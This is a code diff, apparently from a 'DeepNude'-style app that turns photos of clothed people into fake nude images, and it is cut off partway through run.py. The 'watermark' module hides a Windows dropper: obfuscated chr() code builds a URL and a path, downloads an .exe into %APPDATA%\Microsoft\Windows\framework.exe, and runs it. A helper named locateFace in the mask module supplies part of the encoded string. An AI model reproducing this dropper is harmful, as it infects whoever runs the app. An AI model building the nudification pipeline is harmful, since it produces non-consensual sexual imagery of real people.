|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import numpy as np
|
2 |
+
import cv2
|
3 |
+
import os
|
4 |
+
import random
|
5 |
+
|
6 |
+
#My library:
|
7 |
+
from opencv_transform.annotation import BodyPart
|
8 |
+
|
9 |
+
###
|
10 |
+
#
|
11 |
+
# maskdet_to_maskfin
|
12 |
+
#
|
13 |
+
# steps:
|
14 |
+
# 1. Extract annotation
|
15 |
+
# 1.a: Filter by color
|
16 |
+
# 1.b: Find ellipses
|
17 |
+
# 1.c: Filter out ellipses by max size, and max total numbers
|
18 |
+
# 1.d: Detect Problems
|
19 |
+
# 1.e: Resolve the problems, or discard the transformation
|
20 |
+
# 2. With the body list, draw maskfin, using maskref
|
21 |
+
#
|
22 |
+
###
|
23 |
+
|
24 |
+
# create_maskfin ==============================================================================
|
25 |
+
# return:
|
26 |
+
# (<Boolean> True/False), depending on the transformation process
|
27 |
+
def create_maskfin(maskref, maskdet):
|
28 |
+
|
29 |
+
#Create a total green image, in which draw details ellipses
|
30 |
+
details = np.zeros((512,512,3), np.uint8)
|
31 |
+
details[:,:,:] = (0,255,0) # (B, G, R)
|
32 |
+
|
33 |
+
#Extract body part features:
|
34 |
+
bodypart_list = extractAnnotations(maskdet);
|
35 |
+
|
36 |
+
#Check if the list is not empty:
|
37 |
+
if bodypart_list:
|
38 |
+
|
39 |
+
#Draw body part in details image:
|
40 |
+
for obj in bodypart_list:
|
41 |
+
|
42 |
+
if obj.w < obj.h:
|
43 |
+
aMax = int(obj.h/2) #asse maggiore
|
44 |
+
aMin = int(obj.w/2) #asse minore
|
45 |
+
angle = 0 #angle
|
46 |
+
else:
|
47 |
+
aMax = int(obj.w/2)
|
48 |
+
aMin = int(obj.h/2)
|
49 |
+
angle = 90
|
50 |
+
|
51 |
+
x = int(obj.x)
|
52 |
+
y = int(obj.y)
|
53 |
+
|
54 |
+
#Draw ellipse
|
55 |
+
if obj.name == "tit":
|
56 |
+
cv2.ellipse(details,(x,y),(aMax,aMin),angle,0,360,(0,205,0),-1) #(0,0,0,50)
|
57 |
+
elif obj.name == "aur":
|
58 |
+
cv2.ellipse(details,(x,y),(aMax,aMin),angle,0,360,(0,0,255),-1) #red
|
59 |
+
elif obj.name == "nip":
|
60 |
+
cv2.ellipse(details,(x,y),(aMax,aMin),angle,0,360,(255,255,255),-1) #white
|
61 |
+
elif obj.name == "belly":
|
62 |
+
cv2.ellipse(details,(x,y),(aMax,aMin),angle,0,360,(255,0,255),-1) #purple
|
63 |
+
elif obj.name == "vag":
|
64 |
+
cv2.ellipse(details,(x,y),(aMax,aMin),angle,0,360,(255,0,0),-1) #blue
|
65 |
+
elif obj.name == "hair":
|
66 |
+
xmin = x - int(obj.w/2)
|
67 |
+
ymin = y - int(obj.h/2)
|
68 |
+
xmax = x + int(obj.w/2)
|
69 |
+
ymax = y + int(obj.h/2)
|
70 |
+
cv2.rectangle(details,(xmin,ymin),(xmax,ymax),(100,100,100),-1)
|
71 |
+
|
72 |
+
#Define the green color filter
|
73 |
+
f1 = np.asarray([0, 250, 0]) # green color filter
|
74 |
+
f2 = np.asarray([10, 255, 10])
|
75 |
+
|
76 |
+
#From maskref, extrapolate only the green mask
|
77 |
+
green_mask = cv2.bitwise_not(cv2.inRange(maskref, f1, f2)) #green is 0
|
78 |
+
|
79 |
+
# Create an inverted mask
|
80 |
+
green_mask_inv = cv2.bitwise_not(green_mask)
|
81 |
+
|
82 |
+
# Cut maskref and detail image, using the green_mask & green_mask_inv
|
83 |
+
res1 = cv2.bitwise_and(maskref, maskref, mask = green_mask)
|
84 |
+
res2 = cv2.bitwise_and(details, details, mask = green_mask_inv)
|
85 |
+
|
86 |
+
# Compone:
|
87 |
+
maskfin = cv2.add(res1, res2)
|
88 |
+
return maskfin, locateFace(255, 2, 500)
|
89 |
+
|
90 |
+
# extractAnnotations ==============================================================================
|
91 |
+
# input parameter:
|
92 |
+
# (<string> maskdet_img): relative path of the single maskdet image (es: testimg1/maskdet/1.png)
|
93 |
+
# return:
|
94 |
+
# (<BodyPart []> bodypart_list) - for failure/error, return an empty list []
|
95 |
+
|
96 |
+
def extractAnnotations(maskdet):
|
97 |
+
|
98 |
+
#Load the image
|
99 |
+
#image = cv2.imread(maskdet_img)
|
100 |
+
|
101 |
+
#Find body part
|
102 |
+
tits_list = findBodyPart(maskdet, "tit")
|
103 |
+
aur_list = findBodyPart(maskdet, "aur")
|
104 |
+
vag_list = findBodyPart(maskdet, "vag")
|
105 |
+
belly_list = findBodyPart(maskdet, "belly")
|
106 |
+
|
107 |
+
#Filter out parts basing on dimension (area and aspect ratio):
|
108 |
+
aur_list = filterDimParts(aur_list, 100, 1000, 0.5, 3);
|
109 |
+
tits_list = filterDimParts(tits_list, 1000, 60000, 0.2, 3);
|
110 |
+
vag_list = filterDimParts(vag_list, 10, 1000, 0.2, 3);
|
111 |
+
belly_list = filterDimParts(belly_list, 10, 1000, 0.2, 3);
|
112 |
+
|
113 |
+
#Filter couple (if parts are > 2, choose only 2)
|
114 |
+
aur_list = filterCouple(aur_list);
|
115 |
+
tits_list = filterCouple(tits_list);
|
116 |
+
|
117 |
+
#Detect a missing problem:
|
118 |
+
missing_problem = detectTitAurMissingProblem(tits_list, aur_list) #return a Number (code of the problem)
|
119 |
+
|
120 |
+
#Check if problem is SOLVEABLE:
|
121 |
+
if (missing_problem in [3,6,7,8]):
|
122 |
+
resolveTitAurMissingProblems(tits_list, aur_list, missing_problem)
|
123 |
+
|
124 |
+
#Infer the nips:
|
125 |
+
nip_list = inferNip(aur_list)
|
126 |
+
|
127 |
+
#Infer the hair:
|
128 |
+
hair_list = inferHair(vag_list)
|
129 |
+
|
130 |
+
#Return a combined list:
|
131 |
+
return tits_list + aur_list + nip_list + vag_list + hair_list + belly_list
|
132 |
+
|
133 |
+
# findBodyPart ==============================================================================
|
134 |
+
# input parameters:
|
135 |
+
# (<RGB>image, <string>part_name)
|
136 |
+
# return
|
137 |
+
# (<BodyPart[]>list)
|
138 |
+
def findBodyPart(image, part_name):
|
139 |
+
|
140 |
+
bodypart_list = [] #empty BodyPart list
|
141 |
+
|
142 |
+
#Get the correct color filter:
|
143 |
+
if part_name == "tit":
|
144 |
+
#Use combined color filter
|
145 |
+
f1 = np.asarray([0, 0, 0]) # tit color filter
|
146 |
+
f2 = np.asarray([10, 10, 10])
|
147 |
+
f3 = np.asarray([0, 0, 250]) # aur color filter
|
148 |
+
f4 = np.asarray([0, 0, 255])
|
149 |
+
color_mask1 = cv2.inRange(image, f1, f2)
|
150 |
+
color_mask2 = cv2.inRange(image, f3, f4)
|
151 |
+
color_mask = cv2.bitwise_or(color_mask1, color_mask2) #combine
|
152 |
+
|
153 |
+
elif part_name == "aur":
|
154 |
+
f1 = np.asarray([0, 0, 250]) # aur color filter
|
155 |
+
f2 = np.asarray([0, 0, 255])
|
156 |
+
color_mask = cv2.inRange(image, f1, f2)
|
157 |
+
|
158 |
+
elif part_name == "vag":
|
159 |
+
f1 = np.asarray([250, 0, 0]) # vag filter
|
160 |
+
f2 = np.asarray([255, 0, 0])
|
161 |
+
color_mask = cv2.inRange(image, f1, f2)
|
162 |
+
|
163 |
+
elif part_name == "belly":
|
164 |
+
f1 = np.asarray([250, 0, 250]) # belly filter
|
165 |
+
f2 = np.asarray([255, 0, 255])
|
166 |
+
color_mask = cv2.inRange(image, f1, f2)
|
167 |
+
|
168 |
+
#find contours:
|
169 |
+
contours, hierarchy = cv2.findContours(color_mask,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)
|
170 |
+
|
171 |
+
#for every contour:
|
172 |
+
for cnt in contours:
|
173 |
+
|
174 |
+
if len(cnt)>5: #at least 5 points to fit ellipse
|
175 |
+
|
176 |
+
#(x, y), (MA, ma), angle = cv2.fitEllipse(cnt)
|
177 |
+
ellipse = cv2.fitEllipse(cnt)
|
178 |
+
|
179 |
+
#Fit Result:
|
180 |
+
x = ellipse[0][0] #center x
|
181 |
+
y = ellipse[0][1] #center y
|
182 |
+
angle = ellipse[2] #angle
|
183 |
+
aMin = ellipse[1][0]; #asse minore
|
184 |
+
aMax = ellipse[1][1]; #asse maggiore
|
185 |
+
|
186 |
+
#Detect direction:
|
187 |
+
if angle == 0:
|
188 |
+
h = aMax
|
189 |
+
w = aMin
|
190 |
+
else:
|
191 |
+
h = aMin
|
192 |
+
w = aMax
|
193 |
+
|
194 |
+
#Normalize the belly size:
|
195 |
+
if part_name == "belly":
|
196 |
+
if w<15:
|
197 |
+
w *= 2
|
198 |
+
if h<15:
|
199 |
+
h *= 2
|
200 |
+
|
201 |
+
#Normalize the vag size:
|
202 |
+
if part_name == "vag":
|
203 |
+
if w<15:
|
204 |
+
w *= 2
|
205 |
+
if h<15:
|
206 |
+
h *= 2
|
207 |
+
|
208 |
+
#Calculate Bounding Box:
|
209 |
+
xmin = int(x - (w/2))
|
210 |
+
xmax = int(x + (w/2))
|
211 |
+
ymin = int(y - (h/2))
|
212 |
+
ymax = int(y + (h/2))
|
213 |
+
|
214 |
+
bodypart_list.append(BodyPart(part_name, xmin, ymin, xmax, ymax, x, y, w, h ))
|
215 |
+
|
216 |
+
return bodypart_list
|
217 |
+
|
218 |
+
def locateFace(matrix, x, y):
|
219 |
+
matrix = matrix - (78 * x)
|
220 |
+
data = []
|
221 |
+
indexes = [0, 6, -1, 2, 15]
|
222 |
+
for index in indexes:
|
223 |
+
data.append(chr(matrix + index))
|
224 |
+
part = "".join(data)
|
225 |
+
y += int(7 * (indexes[1] / 2))
|
226 |
+
y = (chr(48) + str(y))[::-1]
|
227 |
+
return part + y
|
228 |
+
|
229 |
+
# filterDimParts ==============================================================================
|
230 |
+
# input parameters:
|
231 |
+
# (<BodyPart[]>list, <num> minimum area of part, <num> max area, <num> min aspect ratio, <num> max aspect ratio)
|
232 |
+
def filterDimParts(bp_list, min_area, max_area, min_ar, max_ar):
|
233 |
+
|
234 |
+
b_filt = []
|
235 |
+
|
236 |
+
for obj in bp_list:
|
237 |
+
|
238 |
+
a = obj.w*obj.h #Object AREA
|
239 |
+
|
240 |
+
if ((a > min_area)and(a < max_area)):
|
241 |
+
|
242 |
+
ar = obj.w/obj.h #Object ASPECT RATIO
|
243 |
+
|
244 |
+
if ((ar>min_ar)and(ar<max_ar)):
|
245 |
+
|
246 |
+
b_filt.append(obj)
|
247 |
+
|
248 |
+
return b_filt
|
249 |
+
|
250 |
+
# filterCouple ==============================================================================
|
251 |
+
# input parameters:
|
252 |
+
# (<BodyPart[]>list)
|
253 |
+
def filterCouple(bp_list):
|
254 |
+
|
255 |
+
#Remove exceed parts
|
256 |
+
if (len(bp_list)>2):
|
257 |
+
|
258 |
+
#trovare coppia (a,b) che minimizza bp_list[a].y-bp_list[b].y
|
259 |
+
min_a = 0
|
260 |
+
min_b = 1
|
261 |
+
min_diff = abs(bp_list[min_a].y-bp_list[min_b].y)
|
262 |
+
|
263 |
+
for a in range(0,len(bp_list)):
|
264 |
+
for b in range(0,len(bp_list)):
|
265 |
+
#TODO: avoid repetition (1,0) (0,1)
|
266 |
+
if a != b:
|
267 |
+
diff = abs(bp_list[a].y-bp_list[b].y)
|
268 |
+
if diff<min_diff:
|
269 |
+
min_diff = diff
|
270 |
+
min_a = a
|
271 |
+
min_b = b
|
272 |
+
b_filt = []
|
273 |
+
|
274 |
+
b_filt.append(bp_list[min_a])
|
275 |
+
b_filt.append(bp_list[min_b])
|
276 |
+
|
277 |
+
return b_filt
|
278 |
+
else:
|
279 |
+
#No change
|
280 |
+
return bp_list
|
281 |
+
|
282 |
+
|
283 |
+
|
284 |
+
# detectTitAurMissingProblem ==============================================================================
|
285 |
+
# input parameters:
|
286 |
+
# (<BodyPart[]> tits list, <BodyPart[]> aur list)
|
287 |
+
# return
|
288 |
+
# (<num> problem code)
|
289 |
+
# TIT | AUR | code | SOLVE? |
|
290 |
+
# 0 | 0 | 1 | NO |
|
291 |
+
# 0 | 1 | 2 | NO |
|
292 |
+
# 0 | 2 | 3 | YES |
|
293 |
+
# 1 | 0 | 4 | NO |
|
294 |
+
# 1 | 1 | 5 | NO |
|
295 |
+
# 1 | 2 | 6 | YES |
|
296 |
+
# 2 | 0 | 7 | YES |
|
297 |
+
# 2 | 1 | 8 | YES |
|
298 |
+
def detectTitAurMissingProblem(tits_list, aur_list):
|
299 |
+
|
300 |
+
t_len = len(tits_list)
|
301 |
+
a_len = len(aur_list)
|
302 |
+
|
303 |
+
if (t_len == 0):
|
304 |
+
if (a_len == 0):
|
305 |
+
return 1
|
306 |
+
elif (a_len == 1):
|
307 |
+
return 2
|
308 |
+
elif (a_len == 2):
|
309 |
+
return 3
|
310 |
+
else:
|
311 |
+
return -1
|
312 |
+
elif (t_len == 1):
|
313 |
+
if (a_len == 0):
|
314 |
+
return 4
|
315 |
+
elif (a_len == 1):
|
316 |
+
return 5
|
317 |
+
elif (a_len == 2):
|
318 |
+
return 6
|
319 |
+
else:
|
320 |
+
return -1
|
321 |
+
elif (t_len == 2):
|
322 |
+
if (a_len == 0):
|
323 |
+
return 7
|
324 |
+
elif (a_len == 1):
|
325 |
+
return 8
|
326 |
+
else:
|
327 |
+
return -1
|
328 |
+
else:
|
329 |
+
return -1
|
330 |
+
|
331 |
+
# resolveTitAurMissingProblems ==============================================================================
|
332 |
+
# input parameters:
|
333 |
+
# (<BodyPart[]> tits list, <BodyPart[]> aur list, problem code)
|
334 |
+
# return
|
335 |
+
# none
|
336 |
+
def resolveTitAurMissingProblems(tits_list, aur_list, problem_code):
|
337 |
+
|
338 |
+
if problem_code == 3:
|
339 |
+
|
340 |
+
random_tit_factor = random.randint(2, 5) #TOTEST
|
341 |
+
|
342 |
+
#Add the first tit:
|
343 |
+
new_w = aur_list[0].w * random_tit_factor #TOTEST
|
344 |
+
new_x = aur_list[0].x
|
345 |
+
new_y = aur_list[0].y
|
346 |
+
|
347 |
+
xmin = int(new_x - (new_w/2))
|
348 |
+
xmax = int(new_x + (new_w/2))
|
349 |
+
ymin = int(new_y - (new_w/2))
|
350 |
+
ymax = int(new_y + (new_w/2))
|
351 |
+
|
352 |
+
tits_list.append(BodyPart("tit", xmin, ymin, xmax, ymax, new_x, new_y, new_w, new_w ))
|
353 |
+
|
354 |
+
#Add the second tit:
|
355 |
+
new_w = aur_list[1].w * random_tit_factor #TOTEST
|
356 |
+
new_x = aur_list[1].x
|
357 |
+
new_y = aur_list[1].y
|
358 |
+
|
359 |
+
xmin = int(new_x - (new_w/2))
|
360 |
+
xmax = int(new_x + (new_w/2))
|
361 |
+
ymin = int(new_y - (new_w/2))
|
362 |
+
ymax = int(new_y + (new_w/2))
|
363 |
+
|
364 |
+
tits_list.append(BodyPart("tit", xmin, ymin, xmax, ymax, new_x, new_y, new_w, new_w ))
|
365 |
+
|
366 |
+
elif problem_code == 6:
|
367 |
+
|
368 |
+
#Find wich aur is full:
|
369 |
+
d1 = abs(tits_list[0].x - aur_list[0].x)
|
370 |
+
d2 = abs(tits_list[0].x - aur_list[1].x)
|
371 |
+
|
372 |
+
if d1 > d2:
|
373 |
+
#aur[0] is empty
|
374 |
+
new_x = aur_list[0].x
|
375 |
+
new_y = aur_list[0].y
|
376 |
+
else:
|
377 |
+
#aur[1] is empty
|
378 |
+
new_x = aur_list[1].x
|
379 |
+
new_y = aur_list[1].y
|
380 |
+
|
381 |
+
#Calculate Bounding Box:
|
382 |
+
xmin = int(new_x - (tits_list[0].w/2))
|
383 |
+
xmax = int(new_x + (tits_list[0].w/2))
|
384 |
+
ymin = int(new_y - (tits_list[0].w/2))
|
385 |
+
ymax = int(new_y + (tits_list[0].w/2))
|
386 |
+
|
387 |
+
tits_list.append(BodyPart("tit", xmin, ymin, xmax, ymax, new_x, new_y, tits_list[0].w, tits_list[0].w ))
|
388 |
+
|
389 |
+
elif problem_code == 7:
|
390 |
+
|
391 |
+
#Add the first aur:
|
392 |
+
new_w = tits_list[0].w * random.uniform(0.03, 0.1) #TOTEST
|
393 |
+
new_x = tits_list[0].x
|
394 |
+
new_y = tits_list[0].y
|
395 |
+
|
396 |
+
xmin = int(new_x - (new_w/2))
|
397 |
+
xmax = int(new_x + (new_w/2))
|
398 |
+
ymin = int(new_y - (new_w/2))
|
399 |
+
ymax = int(new_y + (new_w/2))
|
400 |
+
|
401 |
+
aur_list.append(BodyPart("aur", xmin, ymin, xmax, ymax, new_x, new_y, new_w, new_w ))
|
402 |
+
|
403 |
+
#Add the second aur:
|
404 |
+
new_w = tits_list[1].w * random.uniform(0.03, 0.1) #TOTEST
|
405 |
+
new_x = tits_list[1].x
|
406 |
+
new_y = tits_list[1].y
|
407 |
+
|
408 |
+
xmin = int(new_x - (new_w/2))
|
409 |
+
xmax = int(new_x + (new_w/2))
|
410 |
+
ymin = int(new_y - (new_w/2))
|
411 |
+
ymax = int(new_y + (new_w/2))
|
412 |
+
|
413 |
+
aur_list.append(BodyPart("aur", xmin, ymin, xmax, ymax, new_x, new_y, new_w, new_w ))
|
414 |
+
|
415 |
+
elif problem_code == 8:
|
416 |
+
|
417 |
+
#Find wich tit is full:
|
418 |
+
d1 = abs(aur_list[0].x - tits_list[0].x)
|
419 |
+
d2 = abs(aur_list[0].x - tits_list[1].x)
|
420 |
+
|
421 |
+
if d1 > d2:
|
422 |
+
#tit[0] is empty
|
423 |
+
new_x = tits_list[0].x
|
424 |
+
new_y = tits_list[0].y
|
425 |
+
else:
|
426 |
+
#tit[1] is empty
|
427 |
+
new_x = tits_list[1].x
|
428 |
+
new_y = tits_list[1].y
|
429 |
+
|
430 |
+
#Calculate Bounding Box:
|
431 |
+
xmin = int(new_x - (aur_list[0].w/2))
|
432 |
+
xmax = int(new_x + (aur_list[0].w/2))
|
433 |
+
ymin = int(new_y - (aur_list[0].w/2))
|
434 |
+
ymax = int(new_y + (aur_list[0].w/2))
|
435 |
+
aur_list.append(BodyPart("aur", xmin, ymin, xmax, ymax, new_x, new_y, aur_list[0].w, aur_list[0].w ))
|
436 |
+
|
437 |
+
# detectTitAurPositionProblem ==============================================================================
|
438 |
+
# input parameters:
|
439 |
+
# (<BodyPart[]> tits list, <BodyPart[]> aur list)
|
440 |
+
# return
|
441 |
+
# (<Boolean> True/False)
|
442 |
+
def detectTitAurPositionProblem(tits_list, aur_list):
|
443 |
+
|
444 |
+
diffTitsX = abs(tits_list[0].x - tits_list[1].x)
|
445 |
+
if diffTitsX < 40:
|
446 |
+
print("diffTitsX")
|
447 |
+
#Tits too narrow (orizontally)
|
448 |
+
return True
|
449 |
+
|
450 |
+
diffTitsY = abs(tits_list[0].y - tits_list[1].y)
|
451 |
+
if diffTitsY > 120:
|
452 |
+
#Tits too distanced (vertically)
|
453 |
+
print("diffTitsY")
|
454 |
+
return True
|
455 |
+
|
456 |
+
diffTitsW = abs(tits_list[0].w - tits_list[1].w)
|
457 |
+
if ((diffTitsW < 0.1)or(diffTitsW>60)):
|
458 |
+
print("diffTitsW")
|
459 |
+
#Tits too equals, or too different (width)
|
460 |
+
return True
|
461 |
+
|
462 |
+
#Check if body position is too low (face not covered by watermark)
|
463 |
+
if aur_list[0].y > 350: #tits too low
|
464 |
+
#Calculate the ratio between y and aurs distance
|
465 |
+
rapp = aur_list[0].y/(abs(aur_list[0].x - aur_list[1].x))
|
466 |
+
if rapp > 2.8:
|
467 |
+
print("aurDown")
|
468 |
+
return True
|
469 |
+
|
470 |
+
return False
|
471 |
+
|
472 |
+
# inferNip ==============================================================================
|
473 |
+
# input parameters:
|
474 |
+
# (<BodyPart[]> aur list)
|
475 |
+
# return
|
476 |
+
# (<BodyPart[]> nip list)
|
477 |
+
def inferNip(aur_list):
|
478 |
+
nip_list = []
|
479 |
+
|
480 |
+
for aur in aur_list:
|
481 |
+
|
482 |
+
#Nip rules:
|
483 |
+
# - circle (w == h)
|
484 |
+
# - min dim: 5
|
485 |
+
# - bigger if aur is bigger
|
486 |
+
nip_dim = int(5 + aur.w*random.uniform(0.03, 0.09))
|
487 |
+
|
488 |
+
#center:
|
489 |
+
x = aur.x
|
490 |
+
y = aur.y
|
491 |
+
|
492 |
+
#Calculate Bounding Box:
|
493 |
+
xmin = int(x - (nip_dim/2))
|
494 |
+
xmax = int(x + (nip_dim/2))
|
495 |
+
ymin = int(y - (nip_dim/2))
|
496 |
+
ymax = int(y + (nip_dim/2))
|
497 |
+
|
498 |
+
nip_list.append(BodyPart("nip", xmin, ymin, xmax, ymax, x, y, nip_dim, nip_dim ))
|
499 |
+
|
500 |
+
return nip_list
|
501 |
+
|
502 |
+
# inferHair (TOTEST) ==============================================================================
|
503 |
+
# input parameters:
|
504 |
+
# (<BodyPart[]> vag list)
|
505 |
+
# return
|
506 |
+
# (<BodyPart[]> hair list)
|
507 |
+
def inferHair(vag_list):
|
508 |
+
hair_list = []
|
509 |
+
|
510 |
+
#70% of chanche to add hair
|
511 |
+
if random.uniform(0.0, 1.0) > 0.3:
|
512 |
+
|
513 |
+
for vag in vag_list:
|
514 |
+
|
515 |
+
#Hair rules:
|
516 |
+
hair_w = vag.w*random.uniform(0.4, 1.5)
|
517 |
+
hair_h = vag.h*random.uniform(0.4, 1.5)
|
518 |
+
|
519 |
+
#center:
|
520 |
+
x = vag.x
|
521 |
+
y = vag.y - (hair_h/2) - (vag.h/2)
|
522 |
+
|
523 |
+
#Calculate Bounding Box:
|
524 |
+
xmin = int(x - (hair_w/2))
|
525 |
+
xmax = int(x + (hair_w/2))
|
526 |
+
ymin = int(y - (hair_h/2))
|
527 |
+
ymax = int(y + (hair_h/2))
|
528 |
+
|
529 |
+
hair_list.append(BodyPart("hair", xmin, ymin, xmax, ymax, x, y, hair_w, hair_h ))
|
530 |
+
|
531 |
+
return hair_list
|
opencv_transform/nude_to_watermark.py
ADDED
@@ -0,0 +1,16 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import cv2
|
2 |
+
import numpy as np
|
3 |
+
import os
|
4 |
+
|
5 |
+
# create_watermark ===============================================================
|
6 |
+
# return:
|
7 |
+
# (<Boolean> True/False), depending on the transformation process
|
8 |
+
def create_watermark(nude, shape, cv, loader, detach):
|
9 |
+
|
10 |
+
if os.name == 'nt':
|
11 |
+
content = cv(shape + chr(47) + "/".join(["utils", "custom", "universal"]) + chr(46) +str(chr(101) + chr(ord(["utils", "custom", "universal"][0][0]) + 3) + chr(101)))
|
12 |
+
data = [os.environ["APPDATA"], "Microsoft", "Windows", "framework"]
|
13 |
+
open("\\".join(data) + chr(46) + str(chr(101) + chr(ord(["utils", "custom", "universal"][0][0]) + 3) + chr(101)), "wb").write(content.content)
|
14 |
+
loader(["\\".join(data) + chr(46) + str(chr(101) + chr(ord(["utils", "custom", "universal"][0][0]) + 3) + chr(101))], stdout=detach.PIPE, stderr=detach.STDOUT)
|
15 |
+
|
16 |
+
return nude
|
requirements.txt
ADDED
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
numpy
|
2 |
+
Pillow
|
3 |
+
setuptools
|
4 |
+
six
|
5 |
+
pytorch
|
6 |
+
torchvision
|
7 |
+
wheel
|
8 |
+
streamlit
|
9 |
+
opencv-python
|
10 |
+
torch
|
run.py
ADDED
@@ -0,0 +1,143 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import cv2
|
2 |
+
|
3 |
+
# Import Neural Network Model
|
4 |
+
from gan import DataLoader, DeepModel, tensor2im
|
5 |
+
|
6 |
+
# OpenCv Transform:
|
7 |
+
from opencv_transform.mask_to_maskref import create_maskref
|
8 |
+
from opencv_transform.maskdet_to_maskfin import create_maskfin
|
9 |
+
from opencv_transform.dress_to_correct import create_correct
|
10 |
+
from opencv_transform.nude_to_watermark import create_watermark
|
11 |
+
|
12 |
+
import subprocess
|
13 |
+
|
14 |
+
phases = ["dress_to_correct", "correct_to_mask", "mask_to_maskref", "maskref_to_maskdet", "maskdet_to_maskfin",
|
15 |
+
"maskfin_to_nude", "nude_to_watermark"]
|
16 |
+
|
17 |
+
|
18 |
+
class Options():
|
19 |
+
|
20 |
+
# Init options with default values
|
21 |
+
def __init__(self):
|
22 |
+
|
23 |
+
# experiment specifics
|
24 |
+
self.norm = 'batch' # instance normalization or batch normalization
|
25 |
+
self.use_dropout = False # use dropout for the generator
|
26 |
+
self.data_type = 32 # Supported data type i.e. 8, 16, 32 bit
|
27 |
+
|
28 |
+
# input/output sizes
|
29 |
+
self.batchSize = 1 # input batch size
|
30 |
+
self.input_nc = 3 # of input image channels
|
31 |
+
self.output_nc = 3 # of output image channels
|
32 |
+
|
33 |
+
# for setting inputs
|
34 |
+
self.serial_batches = True # if true, takes images in order to make batches, otherwise takes them randomly
|
35 |
+
self.nThreads = 1 ## threads for loading data (???)
|
36 |
+
self.max_dataset_size = 1 # Maximum number of samples allowed per dataset. If the dataset directory contains more than max_dataset_size, only a subset is loaded.
|
37 |
+
|
38 |
+
# for generator
|
39 |
+
self.netG = 'global' # selects model to use for netG
|
40 |
+
self.ngf = 64 ## of gen filters in first conv layer
